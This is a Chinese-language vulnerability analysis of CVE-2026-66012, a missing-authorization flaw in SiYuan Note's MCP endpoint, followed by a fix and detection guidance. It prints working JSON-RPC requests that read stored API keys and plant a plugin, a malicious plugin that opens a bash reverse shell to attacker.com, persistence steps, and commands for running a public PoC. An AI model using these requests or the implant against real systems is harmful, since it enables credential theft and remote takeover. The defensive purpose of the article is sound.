一、漏洞基础信息
| 字段 | 值 |
|---|---|
| CVE 编号 | CVE-2026-66012 |
| CVSS 3.1 评分 | 10.0(Critical,满分) |
| 漏洞类型 | Missing Authorization / Privilege Escalation(CWE-862) |
| 受影响组件 | SiYuan Note 桌面端 < v3.7.2(启用 Publish 服务器且开启匿名访问) |
| 攻击向量 | Remote / Anonymous(无需认证) |
| 披露日期 | 2026-07-25 |
| PoC 仓库 | github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization |
| 修复版本 | SiYuan Note v3.7.2 |
CVSS 10.0 意味着该漏洞在攻击复杂度(AV:N/AC:L)、用户交互(UI:N)、所需权限(PR:N)、机密性(C:H)、完整性(I:H)、可用性(A:H)六个维度全部取到最高档,理论上是最严重的远程匿名漏洞等级。之所以能拿到满分,核心在于它把"匿名读取敏感配置"与"写入可执行插件以管理员身份运行"两步串联起来,一击即中三要素(CIA)全失守。
二、漏洞根因深度分析
2.1 SiYuan 的 Publish 服务与 MCP 集成
SiYuan Note 是一款开源的本地优先笔记软件,采用 Go 语言编写后端,前端基于 Electron。其 Publish 功能允许用户将本地笔记以 HTTP 服务器形式发布到局域网或公网,默认监听端口 6808。从 v3.x 起,SiYuan 集成了 MCP(Model Context Protocol)Server,意图让外部 AI 客户端能够通过标准协议访问笔记内容、执行搜索、读写文件。
MCP Server 暴露的入口是 POST /mcp。按设计,这个端点本应服务于受信任的本地 AI 客户端(如 Claude Desktop、Cursor),但 Publish 服务器将其一并发到了网络上。
2.2 认证层的致命缺陷
漏洞的根因在于 /mcp 路由只挂载了 model.CheckAuth 这一道通用认证中间件,而没有追加针对 MCP 工具调用的管理员角色校验或只读权限收敛。
// 漏洞代码示意(基于公开 PoC 与 commit 修复反推)
func ServeAPI(ginServer *gin.Engine) {
// ... 其他路由 ...
// MCP 端点:仅 CheckAuth,未校验管理员角色 / 未限制工具调用权限
ginServer.POST("/mcp", model.CheckAuth, serveMCP)
}
model.CheckAuth 的语义是"检查请求是否携带有效的 API token 或属于已认证会话"。但当 Publish 服务器开启匿名访问(Anonymous Access)时,CheckAuth 实际上是放行状态——任何未携带 token 的请求都被视为"匿名已认证用户"。问题在于:
- 认证 ≠ 授权:CheckAuth 只回答"你是谁",不回答"你能做什么"。匿名模式下"你是谁"的答案被默认为"已登录访客",于是后续所有 31 个 MCP 工具调用对匿名访客全部可见可调。
- 工具粒度缺失:MCP 协议本身没有强制要求 Server 实现工具级别的 RBAC,SiYuan 把全部 31 个工具(含
read_file、write_file、list_dir、search_block等)一股脑暴露出来,未做敏感工具分级。 - 路径无沙箱:文件读写工具的根目录是 SiYuan 的
data/目录,而data/conf/conf.json(存储 API token 等明文凭证)与data/plugins/(插件加载目录)都在该根之下,攻击者可读写。
2.3 31 个 MCP 工具的暴露面
修复前的 MCP 工具清单(部分关键工具):
| 工具名 | 功能 | 危险等级 |
|---|---|---|
read_file |
读取 data/ 下任意文件 | Critical |
write_file |
写入 data/ 下任意文件 | Critical |
list_dir |
列目录 | High |
search_block |
全文搜索块内容 | High |
create_doc |
创建文档 | Medium |
rename_doc |
重命名文档 | Medium |
delete_doc |
删除文档 | High |
get_block_attrs |
读取块属性 | Medium |
set_block_attrs |
修改块属性 | Medium |
sql_query |
执行 SQL 查询(基于内置 SQLite) | Critical |
| ... | (共 31 个) | ... |
其中 read_file + write_file + sql_query 三个工具的组合,足以完成从凭证窃取到持久化植入的完整攻击链。
2.4 conf.json 中的明文凭证
SiYuan 的 data/conf/conf.json 存储了运行时配置,其中包含:
apiToken:SiYuan API token(明文存储)sync.s3/sync.webdav:云同步凭证(可能含 S3 SecretKey、WebDAV 密码)ai.openai.apiKey:用户配置的 OpenAI API Key(明文)- 各种 access auth code
这些凭证一旦被 read_file 工具读出,攻击者即可横向移动到用户的云存储、OpenAI 账户等关联资产。
三、MCP 协议安全背景
3.1 什么是 MCP
Model Context Protocol(MCP)是 Anthropic 在 2024 年底推出的开放协议,旨在标准化 AI 系统(如 LLM)与外部数据源、工具、服务之间的交互。其架构采用 Client-Server 模式:
┌──────────────┐ JSON-RPC ┌──────────────┐
│ MCP Client │ <────────────────> │ MCP Server │ ──> Tools / Resources / Prompts
│ (Claude, │ over stdio/SSE │ (SiYuan, │
│ Cursor) │ │ Filesystem) │
└──────────────┘ └──────────────┘
MCP Server 通过三个原语向 Client 暴露能力:
- Tools:可执行函数(如
read_file、sql_query) - Resources:可读数据源(如文件、数据库表)
- Prompts:预设的提示模板
设计上,MCP 假设 Client 与 Server 处于同一信任域(通常都是本地进程),因此协议层本身不强制实现细粒度权限控制。这一假设在"本地优先"应用里成立,但一旦 Server 被 Publish 到网络,信任域就被打破。
3.2 MCP 生态的安全现状
根据 2026 年中的安全审计报告,在 763 个公开可访问的 MCP 服务器中,31% 存在安全漏洞。主要漏洞类型分布:
| 漏洞类型 | 占比 | 典型后果 |
|---|---|---|
| 身份验证缺失 | 42% | 匿名调用任意工具 |
| 命令执行无校验 | 28% | 通过工具触发 OS 命令注入 |
| 配置绕过 | 18% | 越权访问受保护资源 |
| 路径穿越 | 12% | 读写任意文件 |
受影响产品涵盖主流 AI 开发工具与集成 MCP 的本地应用,包括但不限于 Cursor、Claude Code、SiYuan Note 等。CVE-2026-66012 正是"身份验证缺失"类型的代表性 CVE。
四、攻击链详解
4.1 攻击链 ASCII 架构图
┌─────────────────────────────────────────────────────────────────────┐
│ 攻击者 (Remote / Anonymous) │
│ 无需凭证,仅需网络可达 target:6808 │
└──────────────────────────────┬──────────────────────────────────────┘
│
│ ① 端口扫描/指纹识别:发现 SiYuan Publish
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 目标 SiYuan Note 桌面端 (< v3.7.2, :6808) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Publish HTTP Server (匿名访问已开启) │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ POST /mcp [仅 model.CheckAuth,匿名放行] │ │ │
│ │ │ ┌───────────────────────────────────────────────┐ │ │ │
│ │ │ │ MCP Tools (31 个,未分级授权) │ │ │ │
│ │ │ │ • read_file • write_file • sql_query ... │ │ │ │
│ │ │ └───────────────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ ② 匿名调用 /mcp │
│ ▼ │
│ ③ read_file("conf/conf.json") → apiToken / S3 SecretKey / OpenAI Key │
│ │ │
│ ▼ │
│ ④ write_file("data/plugins/evil/plugin.js") → 植入恶意插件 │
│ │ │
│ ▼ ⑤ 用户下次启动桌面端 │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ SiYuan 桌面端启动 → 加载 data/plugins/* → 执行 evil/plugin.js │ │
│ │ ⚠ 以宿主用户权限(管理员)执行 → RCE │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ ⑥ │
│ 持久化(注册自启动项) + 数据窃取(外传 conf.json / 笔记库) │
└─────────────────────────────────────────────────────────────────────┘
4.2 六步攻击链拆解
Step 1:发现目标 SiYuan Publish 服务器(端口 6808)
攻击者通过端口扫描(如 nmap -p 6808)或 Shodan / FOFA 等空间测绘引擎,定位对外开放 6808 端口且响应特征符合 SiYuan Publish 的实例。SiYuan 的 Publish 服务器在未配置访问授权时,根路径 / 会返回笔记列表 HTML,指纹明显。
# 指纹识别
curl -s http://target:6808/ | grep -i "siyuan"
# 典型响应包含 <title>SiYuan</title> 或 data-siyuan 属性
Step 2:匿名访问 POST /mcp 接口
由于 model.CheckAuth 在匿名模式下放行,攻击者无需任何 token 即可向 /mcp 发送 JSON-RPC 请求。MCP 协议基于 JSON-RPC 2.0,初始化时先发送 initialize 请求:
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "evil-client", "version": "1.0.0"}
}
}
随后调用 tools/list 即可枚举出 31 个可用工具。
Step 3:调用 read_file 读取 conf/conf.json 获取明文凭证
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "read_file",
"arguments": {
"path": "conf/conf.json"
}
}
}
响应中直接返回 conf.json 全文,包含 apiToken、sync.s3.secretKey、ai.openai.apiKey 等敏感字段。攻击者拿到这些凭证后可立即用于横向攻击:用 apiToken 调用 SiYuan 自身 API、用 S3 SecretKey 访问用户云存储桶、用 OpenAI Key 盗刷额度。
Step 4:调用 write_file 向 data/plugins/ 写入恶意插件
SiYuan 的插件系统会在桌面端启动时扫描 data/plugins/ 目录并加载其中的 plugin.json + 入口 JS 文件。攻击者通过 MCP write_file 工具植入一个伪装成正常笔记插件的恶意插件:
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "write_file",
"arguments": {
"path": "plugins/notes-helper/plugin.json",
"content": "{\"name\":\"notes-helper\",\"version\":\"1.0.0\",\"main\":\"main.js\"}"
}
}
}
随后写入 main.js。由于 SiYuan 桌面端基于 Electron,插件 JS 在 Node.js 集成上下文中执行,可通过 require('child_process') 直接派生系统进程:
// plugins/notes-helper/main.js (恶意插件入口)
const { execSync } = require('child_process');
// 反弹 shell 或执行任意命令,此时权限为启动桌面端的用户权限
try {
execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"', {stdio:'ignore'});
} catch (e) {}
// 持久化:写入 crontab / 注册表 Run 项
// 数据窃取:外传 data/ 目录
Step 5:等待用户启动桌面端 → 恶意插件以管理员权限执行
这一步是"时间窗口攻击"。攻击者无需主动触发,只需等待用户下一次双击 SiYuan 桌面端图标。在 Windows 上,若用户以管理员账户运行(常见配置),恶意插件即以管理员权限执行,完成权限提升至最高。
Step 6:持久化 + 数据窃取
恶意插件执行后:
- 持久化:写入注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run或 Linux 的~/.config/autostart/,确保重启后仍在。 - 数据窃取:外传
data/conf/conf.json(含全部凭证)、笔记数据库data/storage/、用户主目录下的 SSH key 等。 - 横向移动:利用窃取的 S3 / WebDAV 凭证访问用户其他云资产。
五、PoC 使用指南
公开 PoC 仓库封装了上述 Step 2-4 的完整流程,提供一键化命令行接口:
# 1. 克隆 PoC
git clone https://github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization.git
cd siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
# 2. 安装依赖(PoC 基于 Python + httpx)
pip install -r requirements.txt
# 3. 执行 exploit
# 参数1: 目标 URL
# 参数2: 要执行的命令(注入到恶意插件 main.js 中)
python exploit.py http://target:6808 "id"
PoC 的工作流程:
- 向
/mcp发送initialize与tools/list,确认目标存在漏洞。 - 调用
read_file读取conf/conf.json,提取并打印 apiToken(供攻击者后续使用)。 - 调用
write_file写入恶意插件到data/plugins/。 - 输出提示:等待用户启动桌面端后,命令将在目标主机以管理员权限执行。
注意:PoC 不会立即触发 RCE,而是植入"延迟执行"的恶意插件。真正的命令执行发生在用户下次启动桌面端时。这种时间窗口设计使得攻击难以被实时检测,但也在一定程度上限制了即时验证——这是为什么该漏洞适合用于长期渗透而非一次性打点。
六、与其他 MCP 安全事件对比
CVE-2026-66012 并非孤例。2026 年上半年,MCP 生态爆发了多起安全事件,下表横向对比:
| 事件 | 受影响组件 | 漏洞类型 | CVSS | 根因 | 影响 |
|---|---|---|---|---|---|
| SiYuan CVE-2026-66012 | SiYuan Note MCP Server | 缺失授权 | 10.0 | CheckAuth 未校验角色,匿名可调全部工具 | 匿名接管 + RCE |
| LiteLLM CVE-2026-47101 | LiteLLM Proxy MCP 适配 | SQL 注入 | 9.8 | 工具参数未参数化,直接拼接 SQL | 数据库数据泄露 + 可能 RCE |
| LiteLLM CVE-2026-47102 | LiteLLM Proxy | SSRF | 8.6 | 模型回调 URL 未做内网地址过滤 | 内网探测 / 云元数据窃取 |
| LiteLLM CVE-2026-42271 | LiteLLM Proxy | 反序列化 | 9.1 | pickle 模型加载未校验来源 | 任意代码执行 |
| MCP SDK 反序列化漏洞 | 官方 MCP SDK(TypeScript/Python) | 反序列化 | 9.8 | JSON-RPC params 解析时类型混淆,触发原型链污染 / pickle 加载 | Client 端 RCE |
对比分析的关键结论:
- SiYuan 漏洞独特性:它是唯一一个"认证层完全失效"(匿名即可)的 MCP 漏洞。LiteLLM 系列与 MCP SDK 漏洞大多需要某种程度的可达性(如已认证会话、可发送 JSON-RPC),而 SiYuan 在 Publish 匿名模式下连"你是谁"都不需要回答。
- 共同模式:所有事件都暴露了 MCP 生态的同一类系统性问题——协议设计假设本地信任域,而实际部署却常暴露到网络。MCP SDK 在类型校验、反序列化上的宽松,使得工具调用参数成为高危注入点。
- CVSS 10.0 的稀缺性:在 5 个事件中仅 SiYuan 与 MCP SDK 反序列化拿到满分,原因是它们同时满足"远程匿名"与"全 CIA 失守"。
七、MCP 协议安全架构分析
7.1 信任边界模型缺陷
MCP 协议的安全模型可以用三层信任来描述:
┌─────────────────────────────────────────────────────────┐
│ Layer 3: AI 应用信任域 (Claude Desktop / Cursor) │
│ └─ 用户授权过的工具调用,UI 提示确认 │
├─────────────────────────────────────────────────────────┤
│ Layer 2: MCP 协议传输信任域 (stdio / SSE / HTTP) │
│ └─ 假设传输通道可信,协议本身不加密、不签名 │ ← SiYuan 漏洞在此层失守
├─────────────────────────────────────────────────────────┤
│ Layer 1: MCP Server 实现信任域 (文件系统 / DB / OS) │
│ └─ 假设所有 tools/call 来自可信 Client,直接执行 │ ← 命令注入 / 路径穿越在此层发生
└─────────────────────────────────────────────────────────┘
SiYuan 的失败在于 Layer 2:它把 MCP Server 同时暴露给本地 Client(可信)与 Publish 网络访客(不可信),却用同一套 CheckAuth 处理两类来源。Layer 2 的信任边界一旦被 Publish 打穿,Layer 1 的文件系统、数据库就向攻击者完全敞开。
7.2 协议层的三大缺口
- 无工具级权限声明:MCP 协议的
tools/list响应里只有name、description、inputSchema,没有requiredPermission字段。Server 实现者需自行做 RBAC,但大多数实现(包括 SiYuan)默认全开放。 - 无传输层绑定:协议允许 stdio、SSE、HTTP 三种传输,但没有规定"stdio = 本地可信,HTTP = 网络需认证"的绑定关系。SiYuan 把 stdio 用的同一套 handler 挂到 HTTP 路由,等于把本地信任域平移到网络。
- 无调用来源审计:JSON-RPC 请求里没有强制的
origin/audience字段,Server 无法区分调用者是本地 AI Client 还是远程攻击者。
7.3 与 OAuth / API Token 模式的对比
传统 REST API 用 Bearer Token + Scope 实现细粒度授权,MCP 借用了 JSON-RPC 但丢了 Scope 机制:
| 维度 | REST API + OAuth | MCP(当前) |
|---|---|---|
| 认证 | Bearer Token | 各 Server 自行实现(常缺失) |
| 授权粒度 | Scope(Resource + Action) | 无,工具全开或全关 |
| 传输绑定 | TLS 强制 | 可选,常明文 |
| 调用来源 | RFC 8707 audience 校验 | 无 |
这种对比说明,MCP 要达到 REST API 的安全水位,至少需要补齐"工具级 Scope"与"audience 绑定"两项,这正是 SiYuan CVE-2026-66012 给生态敲响的警钟。
八、防御方案
8.1 立即处置:升级到 v3.7.2
SiYuan 官方在 v3.7.2 修复了该漏洞,核心修复点:
/mcp路由追加管理员角色校验(model.CheckAdminRole),匿名访问直接 403。- MCP 工具分级:只读工具(
read_file、search_block)允许普通用户,写工具(write_file、sql_query)仅管理员。 read_file增加路径白名单,禁止读取conf/conf.json等敏感配置文件。
# 升级方式(以 Linux 为例)
wget https://github.com/siyuan-note/siyuan/releases/download/v3.7.2/siyuan-v3.7.2-linux.tar.gz
tar xzf siyuan-v3.7.2-linux.tar.gz
# 替换旧版本二进制
8.2 纵深防御:禁用 Publish 匿名访问
若必须使用 Publish 功能,务必关闭匿名访问,设置强访问码:
// conf/conf.json 片段
{
"publish": {
"enableAnonymous": false,
"accessAuthCode": "<强随机字符串,>=32位>"
}
}
更进一步,建议在反向代理(Nginx / Caddy)层对 /mcp 路径做 IP 白名单或 mTLS 双向认证,只允许本地回环访问:
location /mcp {
allow 127.0.0.1;
allow ::1;
deny all;
proxy_pass http://127.0.0.1:6808;
}
8.3 架构层防御:MCP 工具权限分级
针对自研 MCP Server 的开发者,建议实现工具级 RBAC:
// 修复示意:工具权限分级
type ToolPermission int
const (
PermRead ToolPermission = iota // 只读
PermWrite // 写入
PermAdmin // 管理员
)
var toolPerms = map[string]ToolPermission{
"read_file": PermRead,
"search_block": PermRead,
"write_file": PermWrite,
"sql_query": PermAdmin,
"delete_doc": PermAdmin,
}
func serveMCP(c *gin.Context) {
user := c.MustGet("user").(*model.User)
method := c.GetString("mcp_method") // tools/call
tool := c.GetString("tool_name")
required, ok := toolPerms[tool]
if !ok {
c.AbortWithStatus(404)
return
}
// 匿名用户直接拒绝写权限
if user.IsAnonymous && required >= PermWrite {
c.AbortWithStatus(403)
return
}
// 非管理员拒绝 Admin 权限
if !user.IsAdmin && required == PermAdmin {
c.AbortWithStatus(403)
return
}
// ... 执行工具 ...
}
8.4 运行时防御:插件加载沙箱
针对"恶意插件以宿主权限执行"这一终极威胁,SiYuan 及类似 Electron 应用应考虑:
- 插件签名校验:加载
data/plugins/前校验plugin.json中的signature字段。 - Node.js 集成隔离:插件 JS 运行在
contextIsolation: true的 BrowserWindow 中,禁用nodeIntegration,通过预加载脚本暴露受限 API。 - 启动时文件完整性校验:对比
data/plugins/与用户确认清单,新增未确认插件时弹窗告警。
8.5 监测与响应
部署针对 MCP 接口的异常检测规则:
/mcp路由的匿名tools/call应触发告警。read_file读取conf.json路径应触发告警。write_file写入plugins/路径应触发告警并自动隔离文件。
# Falco / Suricata 检测规则示例
- rule: SiYuan MCP Anon Tool Call
desc: 检测对 /mcp 的匿名工具调用
condition: >
http.request.method=POST and
http.request.path=/mcp and
not http.request.headers.authorization exists
output: "Anonymous MCP call from %src.ip: tools/call %mcp.tool"
priority: WARNING
九、总结
CVE-2026-66012 是 MCP 协议时代的一个标志性漏洞。它的满分 CVSS 不是偶然——当 AI 工具链协议(MCP)被嵌入到本地优先应用(SiYuan)并暴露到网络(Publish),而实现者沿用了本地信任域的宽松授权模型时,"匿名访问 → 凭证窃取 → 恶意插件植入 → 管理员 RCE"这条链路几乎是必然的。
这个漏洞的真正教训不在于某一行代码的疏漏,而在于信任边界的误判:
- 协议层的假设错配:MCP 设计假设 Client-Server 同机,SiYuan 把它 Publish 到网络,假设崩塌。
- 认证授权的混淆:
CheckAuth回答"你是谁",但开发者以为它也回答了"你能做什么"。 - 工具粒度的缺位:31 个工具一刀切全开放,没有按读写、敏感度分级。
对整个生态而言,这个 CVE 应推动 MCP 协议本身演进——在 tools/list 响应中引入 requiredScope 字段,在 JSON-RPC 头中引入 audience 校验,在传输层强制 stdio 与 HTTP 的差异化认证。否则,随着越来越多本地应用集成 MCP Server 并暴露到网络,类似 CVE-2026-66012 的满分漏洞还会不断重演。
对终端用户而言,行动项清晰且紧迫:立即升级 SiYuan 到 v3.7.2,关闭 Publish 匿名访问,审计所有已安装插件,并轮换 conf.json 中可能已泄露的所有凭证(apiToken、S3 SecretKey、OpenAI Key)。在网络可达性日益普遍的今天,任何"本地工具"都默认具备被远程调用的可能,这是 MCP 时代每个应用开发者与用户都必须建立的新心智模型。
参考资源:
- PoC 仓库: github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
- MCP 协议规范: modelcontextprotocol.io
- SiYuan Note 安全公告与 v3.7.2 Release Notes
浙公网安备 33010602011771号